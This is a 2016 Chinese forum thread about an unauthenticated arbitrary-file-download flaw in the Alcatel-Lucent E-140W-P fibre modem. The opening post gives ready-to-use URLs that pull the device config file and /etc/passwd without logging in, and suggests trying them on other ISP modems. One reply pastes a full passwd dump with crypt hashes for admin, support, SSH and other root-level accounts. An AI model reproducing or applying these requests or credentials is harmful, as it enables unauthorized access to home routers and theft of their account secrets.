贝尔 E-140W-P 免登录任意文件下载可下载配置文件

路飞 · 发表于 2016-8-31 22:39:43

本帖最后由路飞于 2016-9-7 12:25 编辑

配置文件下载
http://192.168.1.1/downloadFile?file=/var/config/psi
系统帐号文件
http://192.168.1.1/downloadFile?file=/etc/passwd

PS：悦me光猫系统应该通用，手上没有其它光猫没办法测试，有条件的同学可以试试

山里娃子 · 发表于 2016-9-2 14:23:24

第一个用什么解密呀。都是乱码。

butterfly_6 · 发表于 2016-9-1 08:05:31

这个要支持一下，也算是一个漏洞吧！

cjt200685 · 发表于 2016-9-1 09:01:30

楼主能做个详细点的说明吗
第二个链接好像不能下载啊

songyi · 发表于 2016-9-1 09:13:58

这个可以看看

songyi · 发表于 2016-9-1 09:16:24

cjt200685 发表于 2016-9-1 09:01) S/ `$ O) D" F$ u7 t, x
楼主能做个详细点的说明吗
. L: z% O9 k6 R* F& b第二个链接好像不能下载啊

第二个可以下的全复制下载 lz的链接部分不全

lance65 · 发表于 2016-9-1 17:00:26

收费的，莪是穷人

smartzzh · 发表于 2016-9-1 20:08:31

我有超级密码，就不需要了吧

findwm11 · 发表于 2016-9-2 18:00:45

恩，我自己买的这个光猫，按你方法下载了配置文件，但是不知道怎么解密。

yxwyzh520 · 发表于 2016-9-4 12:30:59

下载了文件一堆看不懂的数据！
passwd
com.chinatelecom.tongwei.smartgateway.thunder:rOVcJgFX997OI:701:0:com.chinatelecom.tongwei.smartgateway.thunder:/usr/plugin/cpk/com.chinatelecom.tongwei.smartgateway.thunder:/bin/sh
com.chinatelecom.tongwei.smartgateway.b01:bdfN2CU7LYsLk:1002:0:com.chinatelecom.tongwei.smartgateway.b01:/usr/plugin/cpk/com.chinatelecom.tongwei.smartgateway.b01:/bin/sh
osgid:LdpyC9j4xRx6M:102:0:osgid:/usr/plugin/cpk/osgid:/bin/sh
admin:Izy.z7nZNlDfg:0:0:Administrator:/:/bin/sh
support:EXEETbhgbwb/U:0:0:Technical Support:/:/bin/sh
user:x5Vkhi7UdT7uM:0:0:Normal User:/:/bin/sh
useradmin:dfKFvCUXGs81w:0:0:ftp account:/mnt:/bin/sh
sshdadmin:aEqI1ZqvXeWfA:0:8:ssh account:/mnt:/bin/sh
nobody:LOesJdOXNA4sQ:0:0:nobody for ftp:/:/bin/sh
useradmin:sOGdhPr.iOH/g:0:0:Normal User:/mnt:/bin/sh

PSI 文件直接全部乱码！

账号		自动登录	找回密码
密码			注册

贝尔 E-140W-P 免登录任意文件下载 可下载配置文件

点评

贝尔 E-140W-P 免登录任意文件下载可下载配置文件